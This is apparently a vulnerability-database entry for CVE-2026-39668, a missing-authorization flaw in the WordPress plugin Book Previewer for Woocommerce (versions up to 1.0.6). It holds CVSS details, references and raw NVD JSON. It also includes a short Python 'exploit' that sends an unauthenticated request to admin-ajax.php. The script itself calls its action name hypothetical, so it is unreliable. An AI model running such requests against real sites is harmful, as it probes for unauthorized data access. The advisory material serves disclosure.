CVE-2026-39668

Description

Missing Authorization vulnerability in g5theme Book Previewer for Woocommerce book-previewer-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Book Previewer for Woocommerce: from n/a through <= 1.0.6.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

g5theme Book Previewer for Woocommerce <= 1.0.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL configuration
target_url = "http://example.com/wp-admin/admin-ajax.php"

# Vulnerable action parameter (Hypothetical based on plugin structure)
# The specific action name needs to be extracted from the plugin source code
payload = {
    "action": "book_previewer_get_data", 
    "book_id": "1"
}

try:
    # Send POST request without authentication
    response = requests.post(target_url, data=payload)

    # Check if exploitation was successful (status code 200 and expected content)
    if response.status_code == 200:
        print("[+] Exploit successful! Response received:")
        print(response.text)
    else:
        print("[-] Exploit failed or target not vulnerable.")

except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39668
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39668
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39668/
[4] VulDB https://vuldb.com/cve/CVE-2026-39668
[5] https://patchstack.com/database/Wordpress/Plugin/book-previewer-for-woocommerce/vulnerability/wordpress-book-previewer-for-woocommerce-plugin-1-0-6-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39668", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:38.170", "lastModified": "2026-04-24T18:06:04.160", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in g5theme Book Previewer for Woocommerce book-previewer-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Book Previewer for Woocommerce: from n/a through <= 1.0.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/book-previewer-for-woocommerce/vulnerability/wordpress-book-previewer-for-woocommerce-plugin-1-0-6-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}